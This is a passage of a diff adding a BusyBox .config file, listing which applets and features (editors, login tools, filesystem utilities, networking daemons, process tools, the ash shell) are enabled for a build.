  385 +CONFIG_FEATURE_VI_DOT_CMD=y
  386 +CONFIG_FEATURE_VI_READONLY=y
  387 +CONFIG_FEATURE_VI_SETOPTS=y
  388 +CONFIG_FEATURE_VI_SET=y
  389 +CONFIG_FEATURE_VI_WIN_RESIZE=y
  390 +CONFIG_FEATURE_VI_ASK_TERMINAL=y
  391 +CONFIG_FEATURE_ALLOW_EXEC=y
  392 +
  393 +#
  394 +# Finding Utilities
  395 +#
  396 +CONFIG_FIND=y
  397 +CONFIG_FEATURE_FIND_PRINT0=y
  398 +CONFIG_FEATURE_FIND_MTIME=y
  399 +CONFIG_FEATURE_FIND_MMIN=y
  400 +CONFIG_FEATURE_FIND_PERM=y
  401 +CONFIG_FEATURE_FIND_TYPE=y
  402 +CONFIG_FEATURE_FIND_XDEV=y
  403 +CONFIG_FEATURE_FIND_MAXDEPTH=y
  404 +CONFIG_FEATURE_FIND_NEWER=y
  405 +CONFIG_FEATURE_FIND_INUM=y
  406 +CONFIG_FEATURE_FIND_EXEC=y
  407 +CONFIG_FEATURE_FIND_USER=y
  408 +CONFIG_FEATURE_FIND_GROUP=y
  409 +CONFIG_FEATURE_FIND_NOT=y
  410 +CONFIG_FEATURE_FIND_DEPTH=y
  411 +CONFIG_FEATURE_FIND_PAREN=y
  412 +CONFIG_FEATURE_FIND_SIZE=y
  413 +CONFIG_FEATURE_FIND_PRUNE=y
  414 +CONFIG_FEATURE_FIND_DELETE=y
  415 +CONFIG_FEATURE_FIND_PATH=y
  416 +CONFIG_FEATURE_FIND_REGEX=y
  417 +# CONFIG_FEATURE_FIND_CONTEXT is not set
  418 +CONFIG_FEATURE_FIND_LINKS=y
  419 +CONFIG_GREP=y
  420 +CONFIG_FEATURE_GREP_EGREP_ALIAS=y
  421 +CONFIG_FEATURE_GREP_FGREP_ALIAS=y
  422 +CONFIG_FEATURE_GREP_CONTEXT=y
  423 +CONFIG_XARGS=y
  424 +CONFIG_FEATURE_XARGS_SUPPORT_CONFIRMATION=y
  425 +CONFIG_FEATURE_XARGS_SUPPORT_QUOTES=y
  426 +CONFIG_FEATURE_XARGS_SUPPORT_TERMOPT=y
  427 +CONFIG_FEATURE_XARGS_SUPPORT_ZERO_TERM=y
  428 +
  429 +#
  430 +# Init Utilities
  431 +#
  432 +CONFIG_BOOTCHARTD=y
  433 +CONFIG_FEATURE_BOOTCHARTD_BLOATED_HEADER=y
  434 +CONFIG_FEATURE_BOOTCHARTD_CONFIG_FILE=y
  435 +CONFIG_HALT=y
  436 +# CONFIG_FEATURE_CALL_TELINIT is not set
  437 +CONFIG_TELINIT_PATH=""
  438 +CONFIG_INIT=y
  439 +CONFIG_FEATURE_USE_INITTAB=y
  440 +# CONFIG_FEATURE_KILL_REMOVED is not set
  441 +CONFIG_FEATURE_KILL_DELAY=0
  442 +CONFIG_FEATURE_INIT_SCTTY=y
  443 +CONFIG_FEATURE_INIT_SYSLOG=y
  444 +CONFIG_FEATURE_EXTRA_QUIET=y
  445 +CONFIG_FEATURE_INIT_COREDUMPS=y
  446 +CONFIG_FEATURE_INITRD=y
  447 +CONFIG_INIT_TERMINAL_TYPE="linux"
  448 +CONFIG_MESG=y
  449 +CONFIG_FEATURE_MESG_ENABLE_ONLY_GROUP=y
  450 +
  451 +#
  452 +# Login/Password Management Utilities
  453 +#
  454 +CONFIG_ADD_SHELL=y
  455 +CONFIG_REMOVE_SHELL=y
  456 +CONFIG_FEATURE_SHADOWPASSWDS=y
  457 +CONFIG_USE_BB_PWD_GRP=y
  458 +CONFIG_USE_BB_SHADOW=y
  459 +CONFIG_USE_BB_CRYPT=y
  460 +CONFIG_USE_BB_CRYPT_SHA=y
  461 +CONFIG_ADDUSER=y
  462 +CONFIG_FEATURE_ADDUSER_LONG_OPTIONS=y
  463 +# CONFIG_FEATURE_CHECK_NAMES is not set
  464 +CONFIG_FIRST_SYSTEM_ID=100
  465 +CONFIG_LAST_SYSTEM_ID=999
  466 +CONFIG_ADDGROUP=y
  467 +CONFIG_FEATURE_ADDGROUP_LONG_OPTIONS=y
  468 +CONFIG_FEATURE_ADDUSER_TO_GROUP=y
  469 +CONFIG_DELUSER=y
  470 +CONFIG_DELGROUP=y
  471 +CONFIG_FEATURE_DEL_USER_FROM_GROUP=y
  472 +CONFIG_GETTY=y
  473 +CONFIG_LOGIN=y
  474 +# CONFIG_LOGIN_SESSION_AS_CHILD is not set
  475 +# CONFIG_PAM is not set
  476 +CONFIG_LOGIN_SCRIPTS=y
  477 +CONFIG_FEATURE_NOLOGIN=y
  478 +CONFIG_FEATURE_SECURETTY=y
  479 +CONFIG_PASSWD=y
  480 +CONFIG_FEATURE_PASSWD_WEAK_CHECK=y
  481 +CONFIG_CRYPTPW=y
  482 +CONFIG_CHPASSWD=y
  483 +CONFIG_FEATURE_DEFAULT_PASSWD_ALGO="des"
  484 +# CONFIG_SU is not set
  485 +# CONFIG_FEATURE_SU_SYSLOG is not set
  486 +# CONFIG_FEATURE_SU_CHECKS_SHELLS is not set
  487 +CONFIG_SULOGIN=y
  488 +CONFIG_VLOCK=y
  489 +
  490 +#
  491 +# Linux Ext2 FS Progs
  492 +#
  493 +CONFIG_CHATTR=y
  494 +CONFIG_FSCK=y
  495 +CONFIG_LSATTR=y
  496 +CONFIG_TUNE2FS=y
  497 +
  498 +#
  499 +# Linux Module Utilities
  500 +#
  501 +CONFIG_MODINFO=y
  502 +CONFIG_MODPROBE_SMALL=y
  503 +CONFIG_FEATURE_MODPROBE_SMALL_OPTIONS_ON_CMDLINE=y
  504 +CONFIG_FEATURE_MODPROBE_SMALL_CHECK_ALREADY_LOADED=y
  505 +# CONFIG_INSMOD is not set
  506 +# CONFIG_RMMOD is not set
  507 +# CONFIG_LSMOD is not set
  508 +# CONFIG_FEATURE_LSMOD_PRETTY_2_6_OUTPUT is not set
  509 +# CONFIG_MODPROBE is not set
  510 +# CONFIG_FEATURE_MODPROBE_BLACKLIST is not set
  511 +# CONFIG_DEPMOD is not set
  512 +
  513 +#
  514 +# Options common to multiple modutils
  515 +#
  516 +# CONFIG_FEATURE_2_4_MODULES is not set
  517 +# CONFIG_FEATURE_INSMOD_TRY_MMAP is not set
  518 +# CONFIG_FEATURE_INSMOD_VERSION_CHECKING is not set
  519 +# CONFIG_FEATURE_INSMOD_KSYMOOPS_SYMBOLS is not set
  520 +# CONFIG_FEATURE_INSMOD_LOADINKMEM is not set
  521 +# CONFIG_FEATURE_INSMOD_LOAD_MAP is not set
  522 +# CONFIG_FEATURE_INSMOD_LOAD_MAP_FULL is not set
  523 +# CONFIG_FEATURE_CHECK_TAINTED_MODULE is not set
  524 +# CONFIG_FEATURE_MODUTILS_ALIAS is not set
  525 +# CONFIG_FEATURE_MODUTILS_SYMBOLS is not set
  526 +CONFIG_DEFAULT_MODULES_DIR="/lib/modules"
  527 +CONFIG_DEFAULT_DEPMOD_FILE="modules.dep"
  528 +
  529 +#
  530 +# Linux System Utilities
  531 +#
  532 +CONFIG_BLOCKDEV=y
  533 +CONFIG_FSTRIM=y
  534 +CONFIG_MDEV=y
  535 +CONFIG_FEATURE_MDEV_CONF=y
  536 +CONFIG_FEATURE_MDEV_RENAME=y
  537 +CONFIG_FEATURE_MDEV_RENAME_REGEXP=y
  538 +CONFIG_FEATURE_MDEV_EXEC=y
  539 +CONFIG_FEATURE_MDEV_LOAD_FIRMWARE=y
  540 +CONFIG_REV=y
  541 +CONFIG_ACPID=y
  542 +CONFIG_FEATURE_ACPID_COMPAT=y
  543 +CONFIG_BLKID=y
  544 +# CONFIG_FEATURE_BLKID_TYPE is not set
  545 +CONFIG_DMESG=y
  546 +CONFIG_FEATURE_DMESG_PRETTY=y
  547 +CONFIG_FBSET=y
  548 +CONFIG_FEATURE_FBSET_FANCY=y
  549 +CONFIG_FEATURE_FBSET_READMODE=y
  550 +CONFIG_FDFLUSH=y
  551 +CONFIG_FDFORMAT=y
  552 +CONFIG_FDISK=y
  553 +# CONFIG_FDISK_SUPPORT_LARGE_DISKS is not set
  554 +CONFIG_FEATURE_FDISK_WRITABLE=y
  555 +# CONFIG_FEATURE_AIX_LABEL is not set
  556 +# CONFIG_FEATURE_SGI_LABEL is not set
  557 +# CONFIG_FEATURE_SUN_LABEL is not set
  558 +# CONFIG_FEATURE_OSF_LABEL is not set
  559 +# CONFIG_FEATURE_GPT_LABEL is not set
  560 +CONFIG_FEATURE_FDISK_ADVANCED=y
  561 +CONFIG_FINDFS=y
  562 +CONFIG_FLOCK=y
  563 +CONFIG_FREERAMDISK=y
  564 +CONFIG_FSCK_MINIX=y
  565 +CONFIG_MKFS_EXT2=y
  566 +CONFIG_MKFS_MINIX=y
  567 +CONFIG_FEATURE_MINIX2=y
  568 +# CONFIG_MKFS_REISER is not set
  569 +CONFIG_MKFS_VFAT=y
  570 +CONFIG_GETOPT=y
  571 +CONFIG_FEATURE_GETOPT_LONG=y
  572 +CONFIG_HEXDUMP=y
  573 +CONFIG_FEATURE_HEXDUMP_REVERSE=y
  574 +CONFIG_HD=y
  575 +CONFIG_HWCLOCK=y
  576 +CONFIG_FEATURE_HWCLOCK_LONG_OPTIONS=y
  577 +# CONFIG_FEATURE_HWCLOCK_ADJTIME_FHS is not set
  578 +CONFIG_IPCRM=y
  579 +CONFIG_IPCS=y
  580 +CONFIG_LOSETUP=y
  581 +CONFIG_LSPCI=y
  582 +CONFIG_LSUSB=y
  583 +CONFIG_MKSWAP=y
  584 +CONFIG_FEATURE_MKSWAP_UUID=y
  585 +CONFIG_MORE=y
  586 +CONFIG_MOUNT=y
  587 +CONFIG_FEATURE_MOUNT_FAKE=y
  588 +CONFIG_FEATURE_MOUNT_VERBOSE=y
  589 +CONFIG_FEATURE_MOUNT_HELPERS=y
  590 +CONFIG_FEATURE_MOUNT_LABEL=y
  591 +CONFIG_FEATURE_MOUNT_NFS=y
  592 +CONFIG_FEATURE_MOUNT_CIFS=y
  593 +CONFIG_FEATURE_MOUNT_FLAGS=y
  594 +CONFIG_FEATURE_MOUNT_FSTAB=y
  595 +CONFIG_PIVOT_ROOT=y
  596 +CONFIG_RDATE=y
  597 +CONFIG_RDEV=y
  598 +CONFIG_READPROFILE=y
  599 +CONFIG_RTCWAKE=y
  600 +CONFIG_SCRIPT=y
  601 +CONFIG_SCRIPTREPLAY=y
  602 +CONFIG_SETARCH=y
  603 +CONFIG_SWAPONOFF=y
  604 +CONFIG_FEATURE_SWAPON_PRI=y
  605 +CONFIG_SWITCH_ROOT=y
  606 +CONFIG_UMOUNT=y
  607 +CONFIG_FEATURE_UMOUNT_ALL=y
  608 +
  609 +#
  610 +# Common options for mount/umount
  611 +#
  612 +CONFIG_FEATURE_MOUNT_LOOP=y
  613 +CONFIG_FEATURE_MOUNT_LOOP_CREATE=y
  614 +# CONFIG_FEATURE_MTAB_SUPPORT is not set
  615 +CONFIG_VOLUMEID=y
  616 +
  617 +#
  618 +# Filesystem/Volume identification
  619 +#
  620 +CONFIG_FEATURE_VOLUMEID_BTRFS=y
  621 +CONFIG_FEATURE_VOLUMEID_CRAMFS=y
  622 +CONFIG_FEATURE_VOLUMEID_EXFAT=y
  623 +CONFIG_FEATURE_VOLUMEID_EXT=y
  624 +CONFIG_FEATURE_VOLUMEID_F2FS=y
  625 +CONFIG_FEATURE_VOLUMEID_FAT=y
  626 +CONFIG_FEATURE_VOLUMEID_HFS=y
  627 +CONFIG_FEATURE_VOLUMEID_ISO9660=y
  628 +CONFIG_FEATURE_VOLUMEID_JFS=y
  629 +CONFIG_FEATURE_VOLUMEID_LINUXRAID=y
  630 +CONFIG_FEATURE_VOLUMEID_LINUXSWAP=y
  631 +CONFIG_FEATURE_VOLUMEID_LUKS=y
  632 +CONFIG_FEATURE_VOLUMEID_NILFS=y
  633 +CONFIG_FEATURE_VOLUMEID_NTFS=y
  634 +CONFIG_FEATURE_VOLUMEID_OCFS2=y
  635 +CONFIG_FEATURE_VOLUMEID_REISERFS=y
  636 +CONFIG_FEATURE_VOLUMEID_ROMFS=y
  637 +# CONFIG_FEATURE_VOLUMEID_SQUASHFS is not set
  638 +CONFIG_FEATURE_VOLUMEID_SYSV=y
  639 +CONFIG_FEATURE_VOLUMEID_UDF=y
  640 +CONFIG_FEATURE_VOLUMEID_XFS=y
  641 +
  642 +#
  643 +# Miscellaneous Utilities
  644 +#
  645 +# CONFIG_CONSPY is not set
  646 +CONFIG_LESS=y
  647 +CONFIG_FEATURE_LESS_MAXLINES=9999999
  648 +CONFIG_FEATURE_LESS_BRACKETS=y
  649 +CONFIG_FEATURE_LESS_FLAGS=y
  650 +CONFIG_FEATURE_LESS_MARKS=y
  651 +CONFIG_FEATURE_LESS_REGEXP=y
  652 +CONFIG_FEATURE_LESS_WINCH=y
  653 +CONFIG_FEATURE_LESS_ASK_TERMINAL=y
  654 +CONFIG_FEATURE_LESS_DASHCMD=y
  655 +CONFIG_FEATURE_LESS_LINENUMS=y
  656 +# CONFIG_NANDWRITE is not set
  657 +# CONFIG_NANDDUMP is not set
  658 +CONFIG_RFKILL=y
  659 +CONFIG_SETSERIAL=y
  660 +# CONFIG_UBIATTACH is not set
  661 +# CONFIG_UBIDETACH is not set
  662 +# CONFIG_UBIMKVOL is not set
  663 +# CONFIG_UBIRMVOL is not set
  664 +# CONFIG_UBIRSVOL is not set
  665 +# CONFIG_UBIUPDATEVOL is not set
  666 +CONFIG_WALL=y
  667 +CONFIG_ADJTIMEX=y
  668 +# CONFIG_BBCONFIG is not set
  669 +# CONFIG_FEATURE_COMPRESS_BBCONFIG is not set
  670 +CONFIG_BEEP=y
  671 +CONFIG_FEATURE_BEEP_FREQ=4000
  672 +CONFIG_FEATURE_BEEP_LENGTH_MS=30
  673 +CONFIG_CHAT=y
  674 +CONFIG_FEATURE_CHAT_NOFAIL=y
  675 +# CONFIG_FEATURE_CHAT_TTY_HIFI is not set
  676 +CONFIG_FEATURE_CHAT_IMPLICIT_CR=y
  677 +CONFIG_FEATURE_CHAT_SWALLOW_OPTS=y
  678 +CONFIG_FEATURE_CHAT_SEND_ESCAPES=y
  679 +CONFIG_FEATURE_CHAT_VAR_ABORT_LEN=y
  680 +CONFIG_FEATURE_CHAT_CLR_ABORT=y
  681 +CONFIG_CHRT=y
  682 +CONFIG_CROND=y
  683 +CONFIG_FEATURE_CROND_D=y
  684 +CONFIG_FEATURE_CROND_CALL_SENDMAIL=y
  685 +CONFIG_FEATURE_CROND_DIR="/var/spool/cron"
  686 +CONFIG_CRONTAB=y
  687 +CONFIG_DC=y
  688 +CONFIG_FEATURE_DC_LIBM=y
  689 +# CONFIG_DEVFSD is not set
  690 +# CONFIG_DEVFSD_MODLOAD is not set
  691 +# CONFIG_DEVFSD_FG_NP is not set
  692 +# CONFIG_DEVFSD_VERBOSE is not set
  693 +# CONFIG_FEATURE_DEVFS is not set
  694 +CONFIG_DEVMEM=y
  695 +CONFIG_EJECT=y
  696 +CONFIG_FEATURE_EJECT_SCSI=y
  697 +CONFIG_FBSPLASH=y
  698 +# CONFIG_FLASHCP is not set
  699 +# CONFIG_FLASH_LOCK is not set
  700 +# CONFIG_FLASH_UNLOCK is not set
  701 +# CONFIG_FLASH_ERASEALL is not set
  702 +CONFIG_IONICE=y
  703 +# CONFIG_INOTIFYD is not set
  704 +CONFIG_LAST=y
  705 +# CONFIG_FEATURE_LAST_SMALL is not set
  706 +CONFIG_FEATURE_LAST_FANCY=y
  707 +CONFIG_HDPARM=y
  708 +CONFIG_FEATURE_HDPARM_GET_IDENTITY=y
  709 +CONFIG_FEATURE_HDPARM_HDIO_SCAN_HWIF=y
  710 +CONFIG_FEATURE_HDPARM_HDIO_UNREGISTER_HWIF=y
  711 +CONFIG_FEATURE_HDPARM_HDIO_DRIVE_RESET=y
  712 +CONFIG_FEATURE_HDPARM_HDIO_TRISTATE_HWIF=y
  713 +CONFIG_FEATURE_HDPARM_HDIO_GETSET_DMA=y
  714 +CONFIG_MAKEDEVS=y
  715 +# CONFIG_FEATURE_MAKEDEVS_LEAF is not set
  716 +CONFIG_FEATURE_MAKEDEVS_TABLE=y
  717 +CONFIG_MAN=y
  718 +CONFIG_MICROCOM=y
  719 +CONFIG_MOUNTPOINT=y
  720 +CONFIG_MT=y
  721 +CONFIG_RAIDAUTORUN=y
  722 +CONFIG_READAHEAD=y
  723 +CONFIG_RUNLEVEL=y
  724 +CONFIG_RX=y
  725 +CONFIG_SETSID=y
  726 +CONFIG_STRINGS=y
  727 +# CONFIG_TASKSET is not set
  728 +# CONFIG_FEATURE_TASKSET_FANCY is not set
  729 +CONFIG_TIME=y
  730 +CONFIG_TIMEOUT=y
  731 +CONFIG_TTYSIZE=y
  732 +CONFIG_VOLNAME=y
  733 +CONFIG_WATCHDOG=y
  734 +
  735 +#
  736 +# Networking Utilities
  737 +#
  738 +CONFIG_NAMEIF=y
  739 +CONFIG_FEATURE_NAMEIF_EXTENDED=y
  740 +CONFIG_NBDCLIENT=y
  741 +CONFIG_NC=y
  742 +CONFIG_NC_SERVER=y
  743 +CONFIG_NC_EXTRA=y
  744 +# CONFIG_NC_110_COMPAT is not set
  745 +CONFIG_PING=y
  746 +CONFIG_PING6=y
  747 +CONFIG_FEATURE_FANCY_PING=y
  748 +CONFIG_WHOIS=y
  749 +CONFIG_FEATURE_IPV6=y
  750 +# CONFIG_FEATURE_UNIX_LOCAL is not set
  751 +CONFIG_FEATURE_PREFER_IPV4_ADDRESS=y
  752 +# CONFIG_VERBOSE_RESOLUTION_ERRORS is not set
  753 +CONFIG_ARP=y
  754 +CONFIG_ARPING=y
  755 +CONFIG_BRCTL=y
  756 +CONFIG_FEATURE_BRCTL_FANCY=y
  757 +CONFIG_FEATURE_BRCTL_SHOW=y
  758 +CONFIG_DNSD=y
  759 +CONFIG_ETHER_WAKE=y
  760 +CONFIG_FAKEIDENTD=y
  761 +CONFIG_FTPD=y
  762 +CONFIG_FEATURE_FTP_WRITE=y
  763 +CONFIG_FEATURE_FTPD_ACCEPT_BROKEN_LIST=y
  764 +CONFIG_FTPGET=y
  765 +CONFIG_FTPPUT=y
  766 +CONFIG_FEATURE_FTPGETPUT_LONG_OPTIONS=y
  767 +CONFIG_HOSTNAME=y
  768 +CONFIG_HTTPD=y
  769 +CONFIG_FEATURE_HTTPD_RANGES=y
  770 +CONFIG_FEATURE_HTTPD_USE_SENDFILE=y
  771 +CONFIG_FEATURE_HTTPD_SETUID=y
  772 +CONFIG_FEATURE_HTTPD_BASIC_AUTH=y
  773 +CONFIG_FEATURE_HTTPD_AUTH_MD5=y
  774 +CONFIG_FEATURE_HTTPD_CGI=y
  775 +CONFIG_FEATURE_HTTPD_CONFIG_WITH_SCRIPT_INTERPR=y
  776 +CONFIG_FEATURE_HTTPD_SET_REMOTE_PORT_TO_ENV=y
  777 +CONFIG_FEATURE_HTTPD_ENCODE_URL_STR=y
  778 +CONFIG_FEATURE_HTTPD_ERROR_PAGES=y
  779 +CONFIG_FEATURE_HTTPD_PROXY=y
  780 +CONFIG_FEATURE_HTTPD_GZIP=y
  781 +CONFIG_IFCONFIG=y
  782 +CONFIG_FEATURE_IFCONFIG_STATUS=y
  783 +CONFIG_FEATURE_IFCONFIG_SLIP=y
  784 +CONFIG_FEATURE_IFCONFIG_MEMSTART_IOADDR_IRQ=y
  785 +CONFIG_FEATURE_IFCONFIG_HW=y
  786 +CONFIG_FEATURE_IFCONFIG_BROADCAST_PLUS=y
  787 +CONFIG_IFENSLAVE=y
  788 +CONFIG_IFPLUGD=y
  789 +CONFIG_IFUPDOWN=y
  790 +CONFIG_IFUPDOWN_IFSTATE_PATH="/var/run/ifstate"
  791 +CONFIG_FEATURE_IFUPDOWN_IP=y
  792 +CONFIG_FEATURE_IFUPDOWN_IP_BUILTIN=y
  793 +# CONFIG_FEATURE_IFUPDOWN_IFCONFIG_BUILTIN is not set
  794 +CONFIG_FEATURE_IFUPDOWN_IPV4=y
  795 +CONFIG_FEATURE_IFUPDOWN_IPV6=y
  796 +CONFIG_FEATURE_IFUPDOWN_MAPPING=y
  797 +# CONFIG_FEATURE_IFUPDOWN_EXTERNAL_DHCP is not set
  798 +CONFIG_INETD=y
  799 +CONFIG_FEATURE_INETD_SUPPORT_BUILTIN_ECHO=y
  800 +CONFIG_FEATURE_INETD_SUPPORT_BUILTIN_DISCARD=y
  801 +CONFIG_FEATURE_INETD_SUPPORT_BUILTIN_TIME=y
  802 +CONFIG_FEATURE_INETD_SUPPORT_BUILTIN_DAYTIME=y
  803 +CONFIG_FEATURE_INETD_SUPPORT_BUILTIN_CHARGEN=y
  804 +CONFIG_FEATURE_INETD_RPC=y
  805 +CONFIG_IP=y
  806 +CONFIG_FEATURE_IP_ADDRESS=y
  807 +CONFIG_FEATURE_IP_LINK=y
  808 +CONFIG_FEATURE_IP_ROUTE=y
  809 +CONFIG_FEATURE_IP_TUNNEL=y
  810 +CONFIG_FEATURE_IP_RULE=y
  811 +CONFIG_FEATURE_IP_SHORT_FORMS=y
  812 +# CONFIG_FEATURE_IP_RARE_PROTOCOLS is not set
  813 +CONFIG_IPADDR=y
  814 +CONFIG_IPLINK=y
  815 +CONFIG_IPROUTE=y
  816 +CONFIG_IPTUNNEL=y
  817 +CONFIG_IPRULE=y
  818 +CONFIG_IPCALC=y
  819 +CONFIG_FEATURE_IPCALC_FANCY=y
  820 +CONFIG_FEATURE_IPCALC_LONG_OPTIONS=y
  821 +CONFIG_NETSTAT=y
  822 +CONFIG_FEATURE_NETSTAT_WIDE=y
  823 +CONFIG_FEATURE_NETSTAT_PRG=y
  824 +CONFIG_NSLOOKUP=y
  825 +CONFIG_NTPD=y
  826 +CONFIG_FEATURE_NTPD_SERVER=y
  827 +CONFIG_PSCAN=y
  828 +CONFIG_ROUTE=y
  829 +CONFIG_SLATTACH=y
  830 +CONFIG_TCPSVD=y
  831 +CONFIG_TELNET=y
  832 +CONFIG_FEATURE_TELNET_TTYPE=y
  833 +CONFIG_FEATURE_TELNET_AUTOLOGIN=y
  834 +CONFIG_TELNETD=y
  835 +CONFIG_FEATURE_TELNETD_STANDALONE=y
  836 +CONFIG_FEATURE_TELNETD_INETD_WAIT=y
  837 +CONFIG_TFTP=y
  838 +CONFIG_TFTPD=y
  839 +
  840 +#
  841 +# Common options for tftp/tftpd
  842 +#
  843 +CONFIG_FEATURE_TFTP_GET=y
  844 +CONFIG_FEATURE_TFTP_PUT=y
  845 +CONFIG_FEATURE_TFTP_BLOCKSIZE=y
  846 +CONFIG_FEATURE_TFTP_PROGRESS_BAR=y
  847 +# CONFIG_TFTP_DEBUG is not set
  848 +CONFIG_TRACEROUTE=y
  849 +CONFIG_TRACEROUTE6=y
  850 +CONFIG_FEATURE_TRACEROUTE_VERBOSE=y
  851 +# CONFIG_FEATURE_TRACEROUTE_SOURCE_ROUTE is not set
  852 +# CONFIG_FEATURE_TRACEROUTE_USE_ICMP is not set
  853 +CONFIG_TUNCTL=y
  854 +CONFIG_FEATURE_TUNCTL_UG=y
  855 +# CONFIG_UDHCPC6 is not set
  856 +CONFIG_UDHCPD=y
  857 +CONFIG_DHCPRELAY=y
  858 +CONFIG_DUMPLEASES=y
  859 +CONFIG_FEATURE_UDHCPD_WRITE_LEASES_EARLY=y
  860 +# CONFIG_FEATURE_UDHCPD_BASE_IP_ON_MAC is not set
  861 +CONFIG_DHCPD_LEASES_FILE="/var/lib/misc/udhcpd.leases"
  862 +CONFIG_UDHCPC=y
  863 +CONFIG_FEATURE_UDHCPC_ARPING=y
  864 +CONFIG_FEATURE_UDHCP_PORT=y
  865 +CONFIG_UDHCP_DEBUG=9
  866 +CONFIG_FEATURE_UDHCP_RFC3397=y
  867 +CONFIG_FEATURE_UDHCP_8021Q=y
  868 +CONFIG_UDHCPC_DEFAULT_SCRIPT="/usr/share/udhcpc/default.script"
  869 +CONFIG_UDHCPC_SLACK_FOR_BUGGY_SERVERS=80
  870 +CONFIG_IFUPDOWN_UDHCPC_CMD_OPTIONS="-R -n"
  871 +CONFIG_UDPSVD=y
  872 +CONFIG_VCONFIG=y
  873 +CONFIG_WGET=y
  874 +CONFIG_FEATURE_WGET_STATUSBAR=y
  875 +CONFIG_FEATURE_WGET_AUTHENTICATION=y
  876 +CONFIG_FEATURE_WGET_LONG_OPTIONS=y
  877 +CONFIG_FEATURE_WGET_TIMEOUT=y
  878 +CONFIG_ZCIP=y
  879 +
  880 +#
  881 +# Print Utilities
  882 +#
  883 +CONFIG_LPD=y
  884 +CONFIG_LPR=y
  885 +CONFIG_LPQ=y
  886 +
  887 +#
  888 +# Mail Utilities
  889 +#
  890 +CONFIG_MAKEMIME=y
  891 +CONFIG_FEATURE_MIME_CHARSET="us-ascii"
  892 +CONFIG_POPMAILDIR=y
  893 +CONFIG_FEATURE_POPMAILDIR_DELIVERY=y
  894 +CONFIG_REFORMIME=y
  895 +CONFIG_FEATURE_REFORMIME_COMPAT=y
  896 +CONFIG_SENDMAIL=y
  897 +
  898 +#
  899 +# Process Utilities
  900 +#
  901 +CONFIG_IOSTAT=y
  902 +CONFIG_LSOF=y
  903 +CONFIG_MPSTAT=y
  904 +CONFIG_NMETER=y
  905 +CONFIG_PMAP=y
  906 +CONFIG_POWERTOP=y
  907 +CONFIG_PSTREE=y
  908 +CONFIG_PWDX=y
  909 +CONFIG_SMEMCAP=y
  910 +CONFIG_TOP=y
  911 +CONFIG_FEATURE_TOP_CPU_USAGE_PERCENTAGE=y
  912 +CONFIG_FEATURE_TOP_CPU_GLOBAL_PERCENTS=y
  913 +CONFIG_FEATURE_TOP_SMP_CPU=y
  914 +CONFIG_FEATURE_TOP_DECIMALS=y
  915 +CONFIG_FEATURE_TOP_SMP_PROCESS=y
  916 +CONFIG_FEATURE_TOPMEM=y
  917 +CONFIG_UPTIME=y
  918 +CONFIG_FEATURE_UPTIME_UTMP_SUPPORT=y
  919 +CONFIG_FREE=y
  920 +CONFIG_FUSER=y
  921 +CONFIG_KILL=y
  922 +CONFIG_KILLALL=y
  923 +CONFIG_KILLALL5=y
  924 +CONFIG_PGREP=y
  925 +CONFIG_PIDOF=y
  926 +CONFIG_FEATURE_PIDOF_SINGLE=y
  927 +CONFIG_FEATURE_PIDOF_OMIT=y
  928 +CONFIG_PKILL=y
  929 +CONFIG_PS=y
  930 +CONFIG_FEATURE_PS_WIDE=y
  931 +CONFIG_FEATURE_PS_LONG=y
  932 +# CONFIG_FEATURE_PS_TIME is not set
  933 +# CONFIG_FEATURE_PS_ADDITIONAL_COLUMNS is not set
  934 +# CONFIG_FEATURE_PS_UNUSUAL_SYSTEMS is not set
  935 +CONFIG_RENICE=y
  936 +CONFIG_BB_SYSCTL=y
  937 +CONFIG_FEATURE_SHOW_THREADS=y
  938 +CONFIG_WATCH=y
  939 +
  940 +#
  941 +# Runit Utilities
  942 +#
  943 +CONFIG_RUNSV=y
  944 +CONFIG_RUNSVDIR=y
  945 +# CONFIG_FEATURE_RUNSVDIR_LOG is not set
  946 +CONFIG_SV=y
  947 +CONFIG_SV_DEFAULT_SERVICE_DIR="/var/service"
  948 +CONFIG_SVLOGD=y
  949 +CONFIG_CHPST=y
  950 +CONFIG_SETUIDGID=y
  951 +CONFIG_ENVUIDGID=y
  952 +CONFIG_ENVDIR=y
  953 +CONFIG_SOFTLIMIT=y
  954 +# CONFIG_CHCON is not set
  955 +# CONFIG_FEATURE_CHCON_LONG_OPTIONS is not set
  956 +# CONFIG_GETENFORCE is not set
  957 +# CONFIG_GETSEBOOL is not set
  958 +# CONFIG_LOAD_POLICY is not set
  959 +# CONFIG_MATCHPATHCON is not set
  960 +# CONFIG_RESTORECON is not set
  961 +# CONFIG_RUNCON is not set
  962 +# CONFIG_FEATURE_RUNCON_LONG_OPTIONS is not set
  963 +# CONFIG_SELINUXENABLED is not set
  964 +# CONFIG_SETENFORCE is not set
  965 +# CONFIG_SETFILES is not set
  966 +# CONFIG_FEATURE_SETFILES_CHECK_OPTION is not set
  967 +# CONFIG_SETSEBOOL is not set
  968 +# CONFIG_SESTATUS is not set
  969 +
  970 +#
  971 +# Shells
  972 +#
  973 +CONFIG_ASH=y
  974 +CONFIG_ASH_BASH_COMPAT=y
  975 +# CONFIG_ASH_IDLE_TIMEOUT is not set
  976 +CONFIG_ASH_JOB_CONTROL=y
  977 +CONFIG_ASH_ALIAS=y
  978 +CONFIG_ASH_GETOPTS=y
  979 +CONFIG_ASH_BUILTIN_ECHO=y
  980 +CONFIG_ASH_BUILTIN_PRINTF=y
  981 +CONFIG_ASH_BUILTIN_TEST=y
  982 +CONFIG_ASH_CMDCMD=y
  983 +# CONFIG_ASH_MAIL is not set
  984 +CONFIG_ASH_OPTIMIZE_FOR_SIZE=y
  985 +CONFIG_ASH_RANDOM_SUPPORT=y
  986 +CONFIG_ASH_EXPAND_PRMT=y
  987 +CONFIG_CTTYHACK=y
  988 +# CONFIG_HUSH is not set
  989 +# CONFIG_HUSH_BASH_COMPAT is not set
  990 +# CONFIG_HUSH_BRACE_EXPANSION is not set
  991 +# CONFIG_HUSH_HELP is not set
  992 +# CONFIG_HUSH_INTERACTIVE is not set
  993 +# CONFIG_HUSH_SAVEHISTORY is not set
  994 +# CONFIG_HUSH_JOB is not set
  995 +# CONFIG_HUSH_TICK is not set
  996 +# CONFIG_HUSH_IF is not set
  997 +# CONFIG_HUSH_LOOPS is not set
  998 +# CONFIG_HUSH_CASE is not set
  999 +# CONFIG_HUSH_FUNCTIONS is not set
  1000 +# CONFIG_HUSH_LOCAL is not set
  1001 +# CONFIG_HUSH_RANDOM_SUPPORT is not set
  1002 +# CONFIG_HUSH_EXPORT_N is not set
  1003 +# CONFIG_HUSH_MODE_X is not set
  1004 +# CONFIG_MSH is not set
  1005 +CONFIG_FEATURE_SH_IS_ASH=y
